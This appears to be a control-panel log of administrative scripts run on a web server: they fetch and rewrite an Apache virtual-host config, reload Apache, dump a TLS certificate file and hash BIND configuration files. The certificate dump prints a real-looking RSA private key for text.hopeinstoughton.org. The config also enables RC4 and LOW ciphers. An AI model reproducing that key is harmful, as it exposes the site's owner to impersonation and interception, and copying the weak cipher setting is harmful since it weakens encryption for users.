dir=/etc/ssl/certs


2026-04-20 06:01:00: 

PUT: /tmp/pkp418119

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-20 06:01:00: 

chmod 755 /tmp/pkp418119; /tmp/pkp418119; rm /tmp/pkp418119

2026-04-20 06:01:00: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf 58

<VirtualHost *:80>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-20 06:01:00: 

PUT: /tmp/pkp662358

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_text_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_text_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_text_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_text_org.conf= 1'
fi


2026-04-20 06:01:00: 

chmod 755 /tmp/pkp662358; /tmp/pkp662358; rm /tmp/pkp662358

2026-04-20 06:01:00: 




2026-04-20 06:01:00: 

PUT: /tmp/pkp975064

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-20 06:01:00: 

chmod 755 /tmp/pkp975064; /tmp/pkp975064; rm /tmp/pkp975064

2026-04-20 06:01:00: 


.


2026-04-20 06:01:00: Establishing a connection
2026-04-20 06:01:00: 

PUT: /tmp/pkp700388

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-20 06:01:00: 

chmod 755 /tmp/pkp700388; /tmp/pkp700388; rm /tmp/pkp700388

2026-04-20 06:01:00: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server venus (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost venus (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:2)
                 alias list.stoughton.link
         port 80 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:2)
                 alias sms.hopeinstoughton.org
         port 80 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:2)
                 alias venus.hostz.org
                 alias mail.emessage.email
*:443                  is a NameVirtualHost
         default server list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:23)
                 alias sms.hopeinstoughton.org
         port 443 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:24)
                 alias venus.hostz.org
                 alias mail.emessage.email
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-04-20 06:01:00: 

PUT: /tmp/pkp485070

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-20 06:01:00: 

chmod 755 /tmp/pkp485070; /tmp/pkp485070; rm /tmp/pkp485070

2026-04-20 06:01:00: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf	1461

<VirtualHost *:80>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-20 06:01:00: 

PUT: /tmp/pkp436996

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-20 06:01:01: 

chmod 755 /tmp/pkp436996; /tmp/pkp436996; rm /tmp/pkp436996

2026-04-20 06:01:01: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt	5405
05:a6:15:c1:e5:61:6d:b5:44:69:f4:a2:21:b3:79:09

-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgISBm1fYjjUWKF+8oSeZvc4T5e4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDIwMDUwMjI4WhcNMjYwNzE5MDUwMjI3WjAjMSEwHwYDVQQD
Exh0ZXh0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDpxTXNcrZP9U+dLShTDTUW/kwm07xN4TL24kp+j1yZyzBbzPA7
CAsGMaGK5LaLSccl4yERKXalrNsnVOS9kfZ3ELk6yZNR1mtaGdHGMYZqAP0CM13x
hn4ODX7TDDD73nQspOkCLs8uQG+Sya8PnOjBjrmnn4j/P4FYinyamDHMRCPrWZiV
qT4K9ziVyJBxPQHRKwLKbDX3BFy0u6XB/0bwzh9ZrYbqiTR+3P2AXL9aOdmz8qQy
R07bEI4k5rdfwNkMS4u1U0DX7v4yPQSmfz8OAGOdKeWQiNhlUmG0K5dPelSSaNGj
9Nk0x6ben8Y8aPKFqov9qHN5wjm/Wjnshi+rAgMBAAGjggI+MIICOjAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUu04VHeYsQ/3pOwB+DR98u+mhGzMwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzA8BgNVHREENTAzghdzbXMuaG9wZWluc3RvdWdodG9u
Lm9yZ4IYdGV4dC5ob3BlaW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EM
AQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNTcu
Y3JsMIIBCwYKKwYBBAHWeQIEAgSB/ASB+QD3AHYAlE5Dh/rswe+B8xkkJqgYZQHH
0184AgE/cmd9VTcuGdgAAAGdqXpPxwAABAMARzBFAiAjlWfjVLEDBK4HGtaSP70c
1MDIIktX5jtO3NFV0JHxvQIhAMe9gXsGL742fdoykqiwzb728Hk1y2va4xuJEs6i
BBhuAH0AbP5QGUOoXqkWvFLRM+TcyR7xQRx9JYQg0XOAnhgY6zoAAAGdqXpSDgAI
AAAFAAfwy+AEAwBGMEQCIFuzs6aXTkh4H7VWoQ8mAmgSp6pFvWZ8C2zKG7TcoxnE
AiBjkxXEOds56BWjPzEVP60IcHL8/C+7R2FTjs6Xf7mujDANBgkqhkiG9w0BAQsF
AAOCAQEAg3MjDKWS7YSxMd0vac037MGVrUQK6htuYOAETf504NvIf7D8PZRutdMV
ldjOd7H1se/g/rwAiFZK1AXhgacxoBisTYYCDRXXjVWOjDcT2VZF64KXF5y4eE0S
l+enSRrMTP633GqivXVumjE1eq+tQ1fTy0K3Ca+3UaEvHmJEXkeHaZQ/FXnvzStJ
Cr+ILFLnyVZzPRTuzXlk/dgBcqGyHV9vB6+4UJzxmE+Jtw9fmT/6xaM3/dKXp9y5
jihR5IeeAKdU8ZORxLFSkCkfSELzQcViwq1VHEXJW9qDr0JhRZix1VpQkys3kasB
z8aLhQFJBj7x9eUm8QAwUcSsVYXhbg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDpxTXNcrZP9U+d
LShTDTUW/kwm07xN4TL24kp+j1yZyzBbzPA7CAsGMaGK5LaLSccl4yERKXalrNsn
VOS9kfZ3ELk6yZNR1mtaGdHGMYZqAP0CM13xhn4ODX7TDDD73nQspOkCLs8uQG+S
ya8PnOjBjrmnn4j/P4FYinyamDHMRCPrWZiVqT4K9ziVyJBxPQHRKwLKbDX3BFy0
u6XB/0bwzh9ZrYbqiTR+3P2AXL9aOdmz8qQyR07bEI4k5rdfwNkMS4u1U0DX7v4y
PQSmfz8OAGOdKeWQiNhlUmG0K5dPelSSaNGj9Nk0x6ben8Y8aPKFqov9qHN5wjm/
Wjnshi+rAgMBAAECggEAbNEObuB/ae/kS+NJ2oMS2+2qsAYuqMfzy8VhbNE6ByL0
kz7t8mSXkR4INtmo+WRx7bpw2YbGAm/YodHcGjw4EIt51ZogV99qIEpVgh7qlSx5
mY0kpTl4Mv1oNECACrYtuNxY1FnKuhpndVopgaiGFhdkZ1kVUc+TW443W1UOFSkc
3gGcldNzzmOyy0XjBxOrl5P9xLxxPK/E5HMkfhF7VE+rQ04bWjBAR8SJ6mJM6lo9
F7jEpbq60PqGqUdbJsalGjSijvy2WeW7a0xNCjjdiwhQ1dt4dRWvLfNlC7Qsjff6
YYrvHknKaTtJqLHASCH5amIit5wbBEKiexgjPP9+jQKBgQD/7bqhGhu3X2E00VkI
NZRVhcV3m/TJtdiNXAXT8EyaqoGe8nPnz2b97bUVBWUqhMpxJLANDxnlwtYtrc7+
t7T2g5S7bSGmS6ONHQS/0/SEHZaPsvLpdbwkN7aczNNynFw1cz2xuiKPDpgznTZP
46LbW/xdOJKRxfaCHziiNLtebwKBgQDp1eY0+ANqRA3N1ZuQmY49+cqTh4ALpyi3
irDNSBvM3YZchU5aDYNcAZfOGyQYunAdIa3KaRKPoJs4MxHcPoxaj6XX7P/XsWGD
aPZkOl5S1UalmqakOP3Z/WTDC0rU/627wHY4YJsnoUF0lwY9VKWrPj5kdjjh1nTL
ZPK1usPghQKBgFFi3yumKtQ4j6gFPwPeTgqYXMB5pvGSU4g4kF3il+nDeS77uSIp
kX4E3sYNjitkSSCL4zRz7e9j80pZcG8OKo0OMPkdbkr82MjiRoVeOO7eneeap6bY
WvlFglwAwuk6khQpTqA7KgxGPt6DCyeCo2KQsQNQH0QeKRMeLJtgm4kfAoGBAL5h
hpJtsuocClkhpwyt2N+gtkwzMA9Mw5vb8WLRaMD9Q12ks0wiYGbSbTRDaLoxYQJ2
3zZDIfeKPZYeDlaRHljFR7NrpEmKg+gn1yN3WkB6oJBIP5DJTfTjl9wtH3oXyO1q
H1Z7YRd89Pvl0hCxEElB3i6RCnLk1iabQ/it3Li5AoGAIEqn4qa/x7+DcYAzxQhm
NwWWhStFUi6Pih7eWA3pmqtyzNntcdewWgrHxtqehtlgxzYFMHJ4waQdj7c4Tgw3
ku9y2B2NXYrlV49PZNUDk91gWY4f9A42eCEEhF5a7x1Z3tyQNYEL5QvVKu6/j1Ru
mWPEBKfRtLMm5AbUAipNYE4=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-04-20 06:01:01: Establishing a remote connection
2026-04-20 10:18:23: Establishing a connection
2026-04-20 10:18:35: Establishing a connection
2026-04-20 10:18:35: 

PUT: /tmp/pkp503870

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-20 10:18:36: 

runuser -l bind -s /bin/bash -c '/tmp/pkp503870; rm /tmp/pkp503870'

2026-04-20 10:18:36: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
